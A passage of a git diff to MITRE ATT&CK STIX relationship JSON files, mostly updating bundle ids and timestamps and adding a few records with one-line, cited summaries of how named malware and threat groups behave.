+++ b/enterprise-attack/relationship/relationship--ecb5e830-b678-47a6-98a2-d4dbe162f09e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e514c2aa-0cfa-4439-ba3e-c76c815e4275",
+    "id": "bundle--4be3f63e-e4a6-460b-bb7c-b322986f3774",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ecb5e830-b678-47a6-98a2-d4dbe162f09e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PHOREAL is capable of creating reverse shell.",
             "source_ref": "malware--f6ae7a52-f3b6-4525-9daf-640c083f006e",
diff --git a/enterprise-attack/relationship/relationship--ecca0af0-1549-4068-b01d-bab711c491c5.json b/enterprise-attack/relationship/relationship--ecca0af0-1549-4068-b01d-bab711c491c5.json
new file mode 100644
index 0000000000..d3b6f2aedf
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--ecca0af0-1549-4068-b01d-bab711c491c5.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--75d9f277-9b27-4c0c-93f9-3e9065635dde",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--ecca0af0-1549-4068-b01d-bab711c491c5",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "installs itself as a new service.",
+            "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29",
+            "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790",
+            "external_references": [
+                {
+                    "source_name": "Palo Alto Reaver Nov 2017",
+                    "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--ecd83e69-2eb1-4c2d-a01f-e42ea8f807f9.json b/enterprise-attack/relationship/relationship--ecd83e69-2eb1-4c2d-a01f-e42ea8f807f9.json
index c41571f4c3..3cb829150c 100644
--- a/enterprise-attack/relationship/relationship--ecd83e69-2eb1-4c2d-a01f-e42ea8f807f9.json
+++ b/enterprise-attack/relationship/relationship--ecd83e69-2eb1-4c2d-a01f-e42ea8f807f9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--70e3a5e6-56ef-4d63-b671-40d7b055d661",
+    "id": "bundle--8b6dbebe-99fb-4e65-9062-db751c4b3a75",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ecd83e69-2eb1-4c2d-a01f-e42ea8f807f9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "UACMe contains many methods for bypassing Windows User Account Control on multiple versions of the operating system.",
             "source_ref": "tool--102c3898-85e0-43ee-ae28-62a0a3ed9507",
diff --git a/enterprise-attack/relationship/relationship--ecde1551-bca2-4f45-8692-cbc583cf3d4f.json b/enterprise-attack/relationship/relationship--ecde1551-bca2-4f45-8692-cbc583cf3d4f.json
index cbc4586110..63e7126efe 100644
--- a/enterprise-attack/relationship/relationship--ecde1551-bca2-4f45-8692-cbc583cf3d4f.json
+++ b/enterprise-attack/relationship/relationship--ecde1551-bca2-4f45-8692-cbc583cf3d4f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--bb3c8724-03b1-4f8a-a9bf-7a7748a52909",
+    "id": "bundle--91830e8b-3edb-4aa7-8d06-065d82a76742",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ecde1551-bca2-4f45-8692-cbc583cf3d4f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Unknown Logger is capable of recording keystrokes.",
             "source_ref": "malware--ab3580c8-8435-4117-aace-3d9fbe46aa56",
diff --git a/enterprise-attack/relationship/relationship--ed283e07-a029-4d23-aa8f-55f92abb5203.json b/enterprise-attack/relationship/relationship--ed283e07-a029-4d23-aa8f-55f92abb5203.json
index 6047ff32af..743b49a0ab 100644
--- a/enterprise-attack/relationship/relationship--ed283e07-a029-4d23-aa8f-55f92abb5203.json
+++ b/enterprise-attack/relationship/relationship--ed283e07-a029-4d23-aa8f-55f92abb5203.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ad4a9a15-310e-45e4-bb95-1dfd146de31b",
+    "id": "bundle--496b5b34-4067-4602-8987-8cfcd60ef8c2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ed283e07-a029-4d23-aa8f-55f92abb5203",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.057Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT3 has used a keylogging tool that records keystrokes in encrypted files.",
             "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
diff --git a/enterprise-attack/relationship/relationship--ed2c177c-18fc-4bfd-9169-48af1557a542.json b/enterprise-attack/relationship/relationship--ed2c177c-18fc-4bfd-9169-48af1557a542.json
index 5f9cc21fd6..79749e97fc 100644
--- a/enterprise-attack/relationship/relationship--ed2c177c-18fc-4bfd-9169-48af1557a542.json
+++ b/enterprise-attack/relationship/relationship--ed2c177c-18fc-4bfd-9169-48af1557a542.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4cae9d5b-15db-4f0e-babc-6fc37deadeef",
+    "id": "bundle--0bc25bdb-4f47-40ca-ae79-8bbd5e645202",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ed2c177c-18fc-4bfd-9169-48af1557a542",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Cherry Picker exfiltrates files over FTP.",
             "source_ref": "malware--b2203c59-4089-4ee4-bfe1-28fa25f0dbfe",
diff --git a/enterprise-attack/relationship/relationship--ed2e17b5-171b-4878-a3ab-2b70e8ca132a.json b/enterprise-attack/relationship/relationship--ed2e17b5-171b-4878-a3ab-2b70e8ca132a.json
index 9822a3b48d..28b935cac4 100644
--- a/enterprise-attack/relationship/relationship--ed2e17b5-171b-4878-a3ab-2b70e8ca132a.json
+++ b/enterprise-attack/relationship/relationship--ed2e17b5-171b-4878-a3ab-2b70e8ca132a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--40899442-92c3-48b7-bf3c-0708d5f1c3d3",
+    "id": "bundle--37cb8370-bbf2-4f1d-90a7-1167eea44aae",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ed2e17b5-171b-4878-a3ab-2b70e8ca132a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pisloader has a command to collect victim system information, including the system name and OS version.",
             "source_ref": "malware--b96680d1-5eb3-4f07-b95c-00ab904ac236",
diff --git a/enterprise-attack/relationship/relationship--ed2f811d-3258-4489-abe1-57dac4bdbbf8.json b/enterprise-attack/relationship/relationship--ed2f811d-3258-4489-abe1-57dac4bdbbf8.json
index aaa5b40606..8be63b0ead 100644
--- a/enterprise-attack/relationship/relationship--ed2f811d-3258-4489-abe1-57dac4bdbbf8.json
+++ b/enterprise-attack/relationship/relationship--ed2f811d-3258-4489-abe1-57dac4bdbbf8.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--68f1fb36-e8a9-485d-b88e-bad6f5946136",
+    "id": "bundle--d690fa1d-f982-4e51-a587-046601989a07",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ed2f811d-3258-4489-abe1-57dac4bdbbf8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RedLeaves attempts to add a shortcut file in the Startup folder to achieve persistence; if this fails, it attempts to add Registry Run keys.",
             "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5",
diff --git a/enterprise-attack/relationship/relationship--ed45fb1c-048a-4378-8c15-6f6ea0c72d7a.json b/enterprise-attack/relationship/relationship--ed45fb1c-048a-4378-8c15-6f6ea0c72d7a.json
index 515267005b..4e360becb2 100644
--- a/enterprise-attack/relationship/relationship--ed45fb1c-048a-4378-8c15-6f6ea0c72d7a.json
+++ b/enterprise-attack/relationship/relationship--ed45fb1c-048a-4378-8c15-6f6ea0c72d7a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--01f87e3d-53d8-45b1-9304-54c5326501f3",
+    "id": "bundle--aa93e3e3-dd77-4285-a83c-5dafa962a036",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ed45fb1c-048a-4378-8c15-6f6ea0c72d7a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RedLeaves can enumerate drives and Remote Desktop sessions.",
             "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5",
diff --git a/enterprise-attack/relationship/relationship--ed522c9c-038b-43c0-af66-e81b954104f2.json b/enterprise-attack/relationship/relationship--ed522c9c-038b-43c0-af66-e81b954104f2.json
new file mode 100644
index 0000000000..ae464badf2
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--ed522c9c-038b-43c0-af66-e81b954104f2.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--4b1cb185-92b8-4741-8715-b0518c3f7a12",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--ed522c9c-038b-43c0-af66-e81b954104f2",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "POWRUNER can capture a screenshot from a victim.",
+            "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46",
+            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
+            "external_references": [
+                {
+                    "source_name": "FireEye APT34 Dec 2017",
+                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--ed74954d-4717-4d63-9836-4cbd66c37345.json b/enterprise-attack/relationship/relationship--ed74954d-4717-4d63-9836-4cbd66c37345.json
index 325219d9ef..11f6044dc5 100644
--- a/enterprise-attack/relationship/relationship--ed74954d-4717-4d63-9836-4cbd66c37345.json
+++ b/enterprise-attack/relationship/relationship--ed74954d-4717-4d63-9836-4cbd66c37345.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5cbe7b62-23ed-4666-8599-721eb9d48a76",
+    "id": "bundle--f8f5e635-1dd4-4b4e-b091-e10c1c7a59aa",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ed74954d-4717-4d63-9836-4cbd66c37345",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Crimson contains a module to steal credentials from Web browsers on the victim machine.",
             "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2",
diff --git a/enterprise-attack/relationship/relationship--ed8b5029-835d-492c-a1f4-10ccbf084a76.json b/enterprise-attack/relationship/relationship--ed8b5029-835d-492c-a1f4-10ccbf084a76.json
index f78d6dbbca..5c25f39300 100644
--- a/enterprise-attack/relationship/relationship--ed8b5029-835d-492c-a1f4-10ccbf084a76.json
+++ b/enterprise-attack/relationship/relationship--ed8b5029-835d-492c-a1f4-10ccbf084a76.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--cad3d38c-ed54-43d3-a2fe-d6522035e46f",
+    "id": "bundle--8179a45d-acc2-4f77-ba12-100cc3589d11",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ed8b5029-835d-492c-a1f4-10ccbf084a76",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pisloader has commands to list drives on the victim machine and to list file information for a given directory.",
             "source_ref": "malware--b96680d1-5eb3-4f07-b95c-00ab904ac236",
diff --git a/enterprise-attack/relationship/relationship--ed94edc7-e687-409e-9143-20a15190bd83.json b/enterprise-attack/relationship/relationship--ed94edc7-e687-409e-9143-20a15190bd83.json
index 7a1c6b9b42..6ebbe92448 100644
--- a/enterprise-attack/relationship/relationship--ed94edc7-e687-409e-9143-20a15190bd83.json
+++ b/enterprise-attack/relationship/relationship--ed94edc7-e687-409e-9143-20a15190bd83.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1448828f-8bfc-4786-8800-f2ea30c8dce2",
+    "id": "bundle--52cc861a-b661-4a2f-aa33-942e2cc4ce3e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ed94edc7-e687-409e-9143-20a15190bd83",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Shamoon uses HTTP for C2.",
             "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3",
diff --git a/enterprise-attack/relationship/relationship--edaa004e-8239-40d8-a4f0-8849c4f0e87f.json b/enterprise-attack/relationship/relationship--edaa004e-8239-40d8-a4f0-8849c4f0e87f.json
index ee68204e38..f54d33988e 100644
--- a/enterprise-attack/relationship/relationship--edaa004e-8239-40d8-a4f0-8849c4f0e87f.json
+++ b/enterprise-attack/relationship/relationship--edaa004e-8239-40d8-a4f0-8849c4f0e87f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4485ceea-6879-42cb-84b7-e5c9055e407f",
+    "id": "bundle--1ca5e57d-2581-42bb-9571-0cee816d37ff",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--edaa004e-8239-40d8-a4f0-8849c4f0e87f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The JHUHUGIT dropper deletes itself from the victim.",
             "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2",
diff --git a/enterprise-attack/relationship/relationship--edaf0203-4959-4e1e-9240-3d20cf0f3b6a.json b/enterprise-attack/relationship/relationship--edaf0203-4959-4e1e-9240-3d20cf0f3b6a.json
index b2b68e64b3..ce736a5f5f 100644
--- a/enterprise-attack/relationship/relationship--edaf0203-4959-4e1e-9240-3d20cf0f3b6a.json
+++ b/enterprise-attack/relationship/relationship--edaf0203-4959-4e1e-9240-3d20cf0f3b6a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3ff26d2e-1fbe-45a6-97c1-27fdec3155fb",
+    "id": "bundle--c5af7395-a0ce-463b-a4e6-e364e88cd353",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--edaf0203-4959-4e1e-9240-3d20cf0f3b6a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.039Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT28 uses a tool to infect connected USB devices and transmit itself to air-gapped computers when the infected USB device is inserted.",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
diff --git a/enterprise-attack/relationship/relationship--edb697fa-d6b2-400a-acad-ccacc38c87c0.json b/enterprise-attack/relationship/relationship--edb697fa-d6b2-400a-acad-ccacc38c87c0.json
index 7fd696ac9b..5a40d67439 100644
--- a/enterprise-attack/relationship/relationship--edb697fa-d6b2-400a-acad-ccacc38c87c0.json
+++ b/enterprise-attack/relationship/relationship--edb697fa-d6b2-400a-acad-ccacc38c87c0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ef38e70b-440e-4fe7-8dfa-1e05b684596d",
+    "id": "bundle--ed05f504-c5cc-432f-b449-207a7d2ac169",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--edb697fa-d6b2-400a-acad-ccacc38c87c0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--fae44eea-caa7-42b7-a2e2-0c815ba81b9a",
             "target_ref": "attack-pattern--04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf",
diff --git a/enterprise-attack/relationship/relationship--edbd751e-29ad-419f-a3ff-9d210453351d.json b/enterprise-attack/relationship/relationship--edbd751e-29ad-419f-a3ff-9d210453351d.json
new file mode 100644
index 0000000000..b9fe1a3960
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--edbd751e-29ad-419f-a3ff-9d210453351d.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--b474f1d1-082d-4bd9-b224-9ec0469744f2",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--edbd751e-29ad-419f-a3ff-9d210453351d",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "collects system information from the victim, including CPU speed, computer name, volume serial number, ANSI code page, OEM code page identifier for the OS, Microsoft Windows version, and memory information.",
+            "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29",
+            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
+            "external_references": [
+                {
+                    "source_name": "Palo Alto Reaver Nov 2017",
+                    "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--edbef2c6-4005-4fdb-b978-9699a7b2a309.json b/enterprise-attack/relationship/relationship--edbef2c6-4005-4fdb-b978-9699a7b2a309.json
index bdd1f32599..93b7a3cd0b 100644
--- a/enterprise-attack/relationship/relationship--edbef2c6-4005-4fdb-b978-9699a7b2a309.json
+++ b/enterprise-attack/relationship/relationship--edbef2c6-4005-4fdb-b978-9699a7b2a309.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5bb8439e-2e70-4e58-83df-0ca4cb139b41",
+    "id": "bundle--3e2b71ce-10a0-423e-893c-90b9a462164f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--edbef2c6-4005-4fdb-b978-9699a7b2a309",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.024Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--57019a80-8523-46b6-be7d-f763a15a2cc6",
             "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44",
diff --git a/enterprise-attack/relationship/relationship--edea5971-fc27-4637-8de9-aabcd50784a7.json b/enterprise-attack/relationship/relationship--edea5971-fc27-4637-8de9-aabcd50784a7.json
index fe4f8b68eb..35d708ec3e 100644
--- a/enterprise-attack/relationship/relationship--edea5971-fc27-4637-8de9-aabcd50784a7.json
+++ b/enterprise-attack/relationship/relationship--edea5971-fc27-4637-8de9-aabcd50784a7.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d4f132ee-b50e-44d6-81b4-4be637f4b887",
+    "id": "bundle--3bc01518-e3a1-4302-8d05-819c98a23125",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--edea5971-fc27-4637-8de9-aabcd50784a7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.077Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--277d2f87-2ae5-4730-a3aa-50c1fdff9656",
             "target_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
diff --git a/enterprise-attack/relationship/relationship--ee2739de-6829-4c73-b72b-91ba4b9fac5c.json b/enterprise-attack/relationship/relationship--ee2739de-6829-4c73-b72b-91ba4b9fac5c.json
index 67d0d4416e..94bbd9c21e 100644
--- a/enterprise-attack/relationship/relationship--ee2739de-6829-4c73-b72b-91ba4b9fac5c.json
+++ b/enterprise-attack/relationship/relationship--ee2739de-6829-4c73-b72b-91ba4b9fac5c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e3902e0d-1954-4a58-bc64-bd33785eb13c",
+    "id": "bundle--5671b239-3b4e-4ff3-8afc-9bea6bb4bfb1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ee2739de-6829-4c73-b72b-91ba4b9fac5c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.051Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--f3bdec95-3d62-42d9-a840-29630f6cdc1a",
             "target_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd",
diff --git a/enterprise-attack/relationship/relationship--ee51d531-5cc4-4836-a55c-6062bde1a4d4.json b/enterprise-attack/relationship/relationship--ee51d531-5cc4-4836-a55c-6062bde1a4d4.json
index 07296a6707..c529e8f3a3 100644
--- a/enterprise-attack/relationship/relationship--ee51d531-5cc4-4836-a55c-6062bde1a4d4.json
+++ b/enterprise-attack/relationship/relationship--ee51d531-5cc4-4836-a55c-6062bde1a4d4.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--aaba0811-f1b8-4e2f-b813-14999d8f7274",
+    "id": "bundle--943e57df-0b1c-41c3-b7c5-cefb11c9ab11",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ee51d531-5cc4-4836-a55c-6062bde1a4d4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "StreamEx obfuscates some commands by using statically programmed fragments of strings when starting a DLL. It also uses a one-byte xor against 0x91 to encode configuration data.",
             "source_ref": "malware--91000a8a-58cc-4aba-9ad0-993ad6302b86",
diff --git a/enterprise-attack/relationship/relationship--ee5e40d0-f72e-4e0b-8b10-cd5c2057cdc0.json b/enterprise-attack/relationship/relationship--ee5e40d0-f72e-4e0b-8b10-cd5c2057cdc0.json
new file mode 100644
index 0000000000..4e546ba6bd
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--ee5e40d0-f72e-4e0b-8b10-cd5c2057cdc0.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--22864960-8d7b-4156-963d-32ddd5ee19bc",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--ee5e40d0-f72e-4e0b-8b10-cd5c2057cdc0",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "ISMInjector creates scheduled tasks to establish persistence.",
+            "source_ref": "malware--5be33fef-39c0-4532-84ee-bea31e1b5324",
+            "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9",
+            "external_references": [
+                {
+                    "source_name": "OilRig New Delivery Oct 2017",
+                    "description": "Falcone, R. and Lee, B. (2017, October 9). OilRig Group Steps Up Attacks with New Delivery Documents and New Injector Trojan. Retrieved January 8, 2018.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--eeae630c-0c58-4397-90fb-05f5b60b720f.json b/enterprise-attack/relationship/relationship--eeae630c-0c58-4397-90fb-05f5b60b720f.json
index 7b3b0e68a0..fd197e5fd9 100644
--- a/enterprise-attack/relationship/relationship--eeae630c-0c58-4397-90fb-05f5b60b720f.json
+++ b/enterprise-attack/relationship/relationship--eeae630c-0c58-4397-90fb-05f5b60b720f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9be9cafc-6abe-4098-ae9f-c8366b4acae5",
+    "id": "bundle--25ec3ea9-ff03-455c-a2b1-49dd81189953",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--eeae630c-0c58-4397-90fb-05f5b60b720f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.050Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
             "target_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee",
diff --git a/enterprise-attack/relationship/relationship--eede138c-9745-453c-a8b5-684b696c2ad0.json b/enterprise-attack/relationship/relationship--eede138c-9745-453c-a8b5-684b696c2ad0.json
index 9a3636c59d..5b9635c12e 100644
--- a/enterprise-attack/relationship/relationship--eede138c-9745-453c-a8b5-684b696c2ad0.json
+++ b/enterprise-attack/relationship/relationship--eede138c-9745-453c-a8b5-684b696c2ad0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0d734269-52a3-4f8a-92d4-57094e58d063",
+    "id": "bundle--6a18aef7-0f2f-42dc-b734-349c335f7cef",
     "spec_version": "2.0",
     "objects": [
         {
